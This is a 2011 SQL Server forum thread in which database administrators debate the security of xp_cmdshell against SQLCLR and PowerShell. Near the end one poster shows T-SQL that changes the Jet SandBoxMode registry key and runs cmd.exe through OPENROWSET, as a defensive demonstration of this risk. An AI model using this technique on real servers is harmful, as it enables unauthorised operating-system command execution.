June 9, 2011 at 8:35 pm
Elliott Whitlow (6/9/2011)
Jeff,I have to fundamentally disagree. xp_cmdshell allows you to run commands in the same context as the SQL server, now depending on the user and the rights you have chosen this could allow a fundamental takeover of the machine. I view it as an apples to oranges comparison to reference ad-hoc queries. When xp_cmdshell was the only game in town you didn't have much choice but to use it, now, I recommend against it if there is almost any other viable method.
I think we may have to agree to disagree..
CEWII
Hi Elliott,
Understood and very much appreciated. But you can create stored procedures that contain xp_CmdShell that a simple member of "PUBLIC" can execute without being able to run xp_CmdShell directly and certainly without even knowing (or being able to see) the inner workings of the proc.
And, to be sure, anyone that you give the privs to run OPENROWSET to directly (Administer_Bulk_Operations), suddenly has the capability to launch a CMD object where they can, of course, cause great damage.
Just like xp_CmdShell, though, you can make procs that a "PUBLIC"-only user can execute without needing the privs to execute OPENROWSET directly.
--Jeff Moden
June 9, 2011 at 9:05 pm
opc.three (6/9/2011)
Jeff Moden (6/8/2011)
opc.three (6/8/2011)
Elliott Whitlow (6/7/2011)
On most of my systems I disable xp_cmdshell and don't allow its use..+1000
-1000 😉
Why all the FUD about xp_CmdShell? Done properly, it's an incredible tool.
No FUD to be found here, at least not about xp_CmdShell. It's the done properly part I have issues with. I have yet to see it be done securely when chosen as an integral part to a solution. For Production/System/Support/Whatever DBA work, fine, but IMHO it does not belong in the DB Developer toolkit. It's tossed around as a panacea when there are perfectly good managed options out there of which this thread is a perfect example. I would liken it to how cursors are used when there are perfectly good set-based solutions available 😉
It's not that xp_CmdShell is inherently bad, I just see it misused, a lot, and in a forum setting like this where folks are seeking out solutions it's likely they are not choosing xp_CmdShell for the right reasons. I see it a lot where they're choosing it as a fallback to get a working solution because they did not know how else to do it. I wish it were an "undocumented feature" so it would be a little more scary and people would think a bit more before they chose it. "Chose" being the key word, because I (setting myself up here) have yet to see a solution where xp_CmdShell was necessary from a development standpoint, i.e. where it was necessary to achieve something that could not be done via SSIS or PowerShell or C# or some other managed application development environment could not handle as well or better.
Hi Orlando,
Understood and, as with Elliott, fully appreciated.
I realize that SSIS, PowerShell, and SQLCLR's/CLR's can be used for a multitude of things. But why write what amounts to a program for something so simple as a "Net User" command? Besides, "Net User" has been pretty rigorously tested by many users over the years whereas the other methods require me to test someone's code for both the "happy" and "unhappy" paths.
On the flip side of the coin, I've been burned very badly by people who claim to know how to write SSIS, PowerShell, and C# not to mention that I have to "deploy" their code and, in the case of C#, manage the source code separately.
Like I told Elliott, it IS possible to create a stored proc that contains an xp_CmdShell call without the user having elevated privs and without the user being able to do anything, whatsoever, with xp_CmdShell directly.
What I'm suggesting is that despite what most people call a "best practice", there's absolutely no reason to condemn the use of xp_CmdShell when it's done properly. And, yes, I agree... that's the key. It has to be taught properly.
I've been working a bit with Erland Sommarskog on the subject. He's rewritting an existing article to include what I call the "double certificate" method for xp_CmdShell (and other high priv) usage and I'm working on an article that takes a different approach to the same end... having a low-priv "PUBLIC"-only user (like the login for a GUI) be able to execute stored procs that do high priv things (like xp_CmdShell) in a very controlled and safe manner without the user being able to do those things directly.
--Jeff Moden
June 9, 2011 at 9:26 pm
Stringzz (6/7/2011)
In tsql I have a query that is using xp_cmdshell to run "Net User <username> /domain". Some of the global groups that are returned are not the full name. It seems to return a max of 21 characters for the name, so if the name is longer, I only get partial name returned (truncated).Is there a way to increase the output to get full name?
Probably not using "Net User". From the "Command Line Reference A-Z" in the Windows "Help and Support Center" for "Net User"...
UserName Specifies the name of the user account to add, delete, modify, or view. The name of the user account can have as many as 20 characters.
The article that Elliott points to is likely the best bet once the "quote" issue is resolved.
--Jeff Moden
June 10, 2011 at 7:45 am
Jeff,
I agree that you can use xp_cmdshell in a *more* secure way but I just don't want to risk it. Maybe thats just me.. Mileage may vary.. I have a chunk of SQLCLR code thate I can re-use to replace this functionality. The downside is that everytime we add a new command line call we have to deploy either an update to it or a new assembly. Since most things that we used to use command lines for can be accomplished in much more controlled ways in CLR, I tend to want to go that way with command lines being the last fall-back position. Again, thats me, and those are some of my reasons, your individual experience may vary and like many things.. IT DEPENDS..
CEWII
June 10, 2011 at 8:12 am
Elliott Whitlow (6/10/2011)
Jeff,I agree that you can use xp_cmdshell in a *more* secure way but I just don't want to risk it. Maybe thats just me.. Mileage may vary.. I have a chunk of SQLCLR code thate I can re-use to replace this functionality. The downside is that everytime we add a new command line call we have to deploy either an update to it or a new assembly. Since most things that we used to use command lines for can be accomplished in much more controlled ways in CLR, I tend to want to go that way with command lines being the last fall-back position. Again, thats me, and those are some of my reasons, your individual experience may vary and like many things.. IT DEPENDS..
CEWII
Understood. Shifting gears and just to make sure that you're aware, do you allow ad hoc queries because, if you do, someone with privs less than "SA" can still run a CMD shell through OPENROWSET.
Shifting gears, good CLR is a good way to go as an alternative. As you say, it's just my individual experience, but there are actually very few people that I'd trust to write a CLR (I don't know how to even spell C# :-P) and a good number of my friend-DBA's have been bitten by some really poor CLR code.
Anyway, I very much appreciate your position and, although there are secure ways to use xp_CmdShell in procs, I can certainly understand why you'd rather not do that.
I just want people to understand that there are 2 different, very safe methods of using xp_CmdShell in procs without having to elevate privs above "PUBLIC" (think GUI users/logins) and without anyone (except DBA's with SA privs) being able to execute xp_CmdShell directly.
--Jeff Moden
June 10, 2011 at 9:02 am
Jeff Moden (6/10/2011)
Elliott Whitlow (6/10/2011)
Jeff,I agree that you can use xp_cmdshell in a *more* secure way but I just don't want to risk it. Maybe thats just me.. Mileage may vary.. I have a chunk of SQLCLR code thate I can re-use to replace this functionality. The downside is that everytime we add a new command line call we have to deploy either an update to it or a new assembly. Since most things that we used to use command lines for can be accomplished in much more controlled ways in CLR, I tend to want to go that way with command lines being the last fall-back position. Again, thats me, and those are some of my reasons, your individual experience may vary and like many things.. IT DEPENDS..
CEWII
Understood. Shifting gears and just to make sure that you're aware, do you allow ad hoc queries because, if you do, someone with privs less than "SA" can still run a CMD shell through OPENROWSET.
Shifting gears, good CLR is a good way to go as an alternative. As you say, it's just my individual experience, but there are actually very few people that I'd trust to write a CLR (I don't know how to even spell C# :-P) and a good number of my friend-DBA's have been bitten by some really poor CLR code.
Anyway, I very much appreciate your position and, although there are secure ways to use xp_CmdShell in procs, I can certainly understand why you'd rather not do that.
I just want people to understand that there are 2 different, very safe methods of using xp_CmdShell in procs without having to elevate privs above "PUBLIC" (think GUI users/logins) and without anyone (except DBA's with SA privs) being able to execute xp_CmdShell directly.
I have not seen a CMD run through OPENROWSET, I'd be interested to see that.
As far as CLR, I can write fairly good VB.NET and I can read C# so I can usually have a good understanding of what is going on. And as a practice, all SQLCLR has to be submitted to me prior to implementation with enough time to review it. New stuff even earlier. A number of years ago a .NET developer believed that SQLCLR would negate the need to the SQL language, I gently corrected this poorly formed assumption. One of my biggest battles in the past has been to make sure that the right balance is reached, each tool, T-SQL and SQLCLR, have their place, and sometimes there is a blending where it makes sense to do something in SQLCLR that has to reach back into the database. Having a good understanding of both technologies helps to find that line. I try to limit SQLCLR to things that either can't or can't be done well in T-SQL, especially text operations. Another good example is file operations, generally I'd prefer not to deal with these at all in a database but I don't always get my way. So I wrote a SQLCLR to do it and put it up on CodePlex.
And as you and I agree, there is definitely more than one way to skin a cat.
CEWII
June 10, 2011 at 12:22 pm
You hit my favorite 2 spots for SQLCLR usage... text manipulation and file handling.
When I get home tonight, I'll try to setup an example where OPENROWSET makes a call to the CMD processor using simple "DOS" commands. I'll like just stick to a simple DIR command with the understanding that a DEL, RN, MV, etc could be used which, of course, is what most people try to prevent by not allowing xp_CmdShell to be turned on.
Thanks again for the dialog on all of this.
--Jeff Moden
June 10, 2011 at 12:45 pm
You are very welcome Jeff, I look forward to an example.
CEWII
June 10, 2011 at 12:53 pm
Maybe I am just being closed-minded here, but I would not choose to kick off any file manipulation tasks directly from T-SQL. I understand the need however so for discussion sake, once you take file manipulation duties away from xp_CmdShell and hand them to SqlClr what's left for xp_CmdShell to do, call DTExec or bcp? I would use PowerShell for all of it.
I have no doubt that xp_CmdShell can be secured...I guess I'm just failing to find a compelling reason to enable it.
There are no special teachers of virtue, because virtue is taught by the whole community.
--Plato
June 10, 2011 at 8:16 pm
Hi Elliott,
This is a demo of the hack to penetrate cmd.exe privs. I've used the well known xp_regwrite to simulate the hack. Details are in the comments in the code...
--===== This is an innocent enough setup.
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb';
go
--===== This verifies the current mode of the Jet engine so we can later verify that we set it back correctly.
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "2" for normal mode
go
--===== This makes it a wee bit more agressive. I'm using xp_rewrite to simulate an attack that can be made via T-SQL
-- using a different method and without "SA" privs which I will not post nor provide a link to.
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --Set a more aggressive mode
go
--===== This runs a harmless DOS command (DIR) but shows that once the "SandBoxMode" has been changed via a hack, DOS is available
-- through OPENROWSET.
SELECT * FROM OPENROWSET('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c dir c:\ > C:\jbmtest.txt")');
go
--===== Cleanup
EXEC sp_dropserver 'testsql' --Drops the linked server we created above.
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2 --Return to normal mode
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode' --Verify that it's a "2" for normal mode
I've not tested to see if the ACE drivers have a similar vulnerability.
--Jeff Moden
June 10, 2011 at 8:42 pm
opc.three (6/10/2011)
Maybe I am just being closed-minded here, but I would not choose to kick off any file manipulation tasks directly from T-SQL. I understand the need however so for discussion sake, once you take file manipulation duties away from xp_CmdShell and hand them to SqlClr what's left for xp_CmdShell to do, call DTExec or bcp? I would use PowerShell for all of it.I have no doubt that xp_CmdShell can be secured...I guess I'm just failing to find a compelling reason to enable it.
You've got me there. I can't argue against what I agree with.
There are shops where 1 of a couple of things is true... there's a DBA with so much FUD about SQLCLR that (s)he simply won't allow it or there's no one who knows how to write/use SQLCLR's or PowerShell. I know that sounds really ignorant and it's certainly not "right", but such shops exist.
Speaking of ignorance, if actual knowledge of PowerShell were gasoline, I wouldn't have enough to run a sugar-ant's mini-bike through a match box. Do any of you have a recommendation for a good book or website where I could begin teaching myself?
--Jeff Moden
June 11, 2011 at 6:45 am
Jeff Moden (6/10/2011)
opc.three (6/10/2011)
Maybe I am just being closed-minded here, but I would not choose to kick off any file manipulation tasks directly from T-SQL. I understand the need however so for discussion sake, once you take file manipulation duties away from xp_CmdShell and hand them to SqlClr what's left for xp_CmdShell to do, call DTExec or bcp? I would use PowerShell for all of it.I have no doubt that xp_CmdShell can be secured...I guess I'm just failing to find a compelling reason to enable it.
You've got me there. I can't argue against what I agree with.
There are shops where 1 of a couple of things is true... there's a DBA with so much FUD about SQLCLR that (s)he simply won't allow it or there's no one who knows how to write/use SQLCLR's or PowerShell. I know that sounds really ignorant and it's certainly not "right", but such shops exist.
No question about it and I agree that sometimes technical merit is not the only factor when choosing a technology. People have to be able to use the stuff to get their jobs done efficiently otherwise what's the point? FUD can be crippling, I have witnessed it first hand with respect to SQLCLR but arguing technical merit and reason with a person that carries a prejudice is a lose-lose situation. I find that rarely will you eliminate the FUD, but rather you only help the FUD-der solidify their FUD-ded position and make an enemy in the process. To be fair FUD has crippled me at times in my career until I then realized, oh, open your mind, use your words, talk to people, ask questions, get a book, read, etc. and then make up your mind and close it again 😉
Speaking of ignorance, if actual knowledge of PowerShell were gasoline, I wouldn't have enough to run a sugar-ant's mini-bike through a match box.
😛 I am, like most things technically related since I left college, self-taught. So, to add my own gasoline visualization I am probably dangerous enough with PowerShell to light my own hair on fire (what is left) if for no other reason than to get someone's attention so I can ask them a question about PowerShell when I get stuck.
Do any of you have a recommendation for a good book or website where I could begin teaching myself?
I have only been taking it seriously for the last 2 months or so. The light went on for me recently after reading this article. Understanding "The Pipeline" and mastering Piping appears to be where a lot of the Power lies within PowerShell. This is from what I have read online (bits and pieces) and picked up from others that seemed to know the topic well. I once read on a forum somewhere (wish I could link and quote it so paraphrasing) "If a PowerShell script is not making use of the Pipeline, is it really a PowerShell script?". I have found various sites through Googling when Frankensteining scripts together but none I would recommend off-hand. I will use the code snippets I run across from Googling but stick to the TechNet docs and the Get-Help CmdLet for actual information about the product. I also cruise the PowerShell forum here on SSC and work problems there to learn.
The previous link I sent takes you into TechNet which contains the official PowerShell documentation. Here too is the link to the SQLPS documentation:
http://msdn.microsoft.com/en-us/library/cc281954.aspx.
As I understand it SQLPS opens a PowerShell session that has been souped-up with some additional pre-loaded libraries that make it possible for you to interact with SQL Server directly from the the PowerShell prompt. It also preloads some SQL-specific CmdLets like Invoke-SqlCmd. I believe you get SQLPS as part of installing SSMS (2008 gives you PS 2.0). Also of note, I think SQLPS is the type of session you are dropped into when you right-click on a container in SSMS Object Explorer and select "Start PowerShell". A default PowerShell session can be started from Start>Programs>Accessories>Windows PowerShell>Windows PowerShell. Windows PowerShell ISE (same Start Menu location) is an ample editor which has a built-in interactive debugger that is nice. There are other editors, some cost $$ and some are free, but I have not made time to try any of them.
I have yet to write my own CmdLet, or even fully understand what a CmdLet is 🙂 but I have written some pretty useful one-liners and one non-trivial SQLPS script that is now being used in the shop I'm currently in to assist with SQL code deployments...and I am hooked.
There are no special teachers of virtue, because virtue is taught by the whole community.
--Plato
June 11, 2011 at 9:21 am
Thanks for the links. I'd found the MS article last night but not the one on the pipeline. I'll take a look.
I also cruise the PowerShell forum here on SSC and work problems there to learn.
That's one way I've taught myself on a lot of other things. Guess it's time to download PowerShell and start whackin'n'stackin'. The one thing that I see about PowerShell that I didn't like about VBS or Batch scripts is that they can't be executed from a stored procedure without the use of, you guessed it, xp_CmdShell. 🙂
--Jeff Moden
June 14, 2011 at 11:02 am
Jeff Moden (6/10/2011)
opc.three (6/10/2011)
-SNIP-I have no doubt that xp_CmdShell can be secured...I guess I'm just failing to find a compelling reason to enable it.
You've got me there. I can't argue against what I agree with.
There are shops where 1 of a couple of things is true... there's a DBA with so much FUD about SQLCLR that (s)he simply won't allow it or there's no one who knows how to write/use SQLCLR's or PowerShell. I know that sounds really ignorant and it's certainly not "right", but such shops exist.
Speaking of ignorance, if actual knowledge of PowerShell were gasoline, I wouldn't have enough to run a sugar-ant's mini-bike through a match box. Do any of you have a recommendation for a good book or website where I could begin teaching myself?
I have to agree that there are a lot of DBAs who are afraid of SQLCLR because its a blackbox to them. I just happen to be lucky enough to be able to read C# and read/write VB.NET and actually have written SQLCLR objects. I expect my development staff to provide me with the source code for SQLCLR objects for review. I caution DBAs that outright rejection of SQLCLR is in and of itself a bad practice. And all the FUD about SQLCLR is based mostly on ignorance.
I like to use the hammer and nail example, when all you have is a hammer everything looks like a nail. In other words, if all you know is SQL, you want to solve all your issues with SQL, regardless of whether it is the right tool or even a good tool for the job. Great example, about 5 years ago I had a project where I could go either with a windows service or a scheduled SQL sproc. There was really no compelling reason to go one way or the other, so in this case resource availability was the decider, I had a .net programmer with free time and no SQL coders who had enough time. But the understanding of the possible paths and the risks/rewards of each was related to knowing enough about both paths to be able to see the big picture, and I highly recommend DBAs to go outside their comfort zones.
CEWII
June 14, 2011 at 11:13 am
Jeff,
I've reviewed that code and as I read it, you have to take advantage of a hack that allows you to use xp_regwrite as a non-privileged user coupled with an exploit available in the jet drivers (and potentially the ACE drivers). That was actually fairly cool and I learned something new. I'll have look a bit deeper into that xp_regwrite exploit since I can't find anything on it.
I did have one question, did you really need to add the linked server, it doesn't appear to be used at all?
CEWII
Viewing 15 posts - 16 through 30 (of 39 total)
You must be logged in to reply to this topic. Login to reply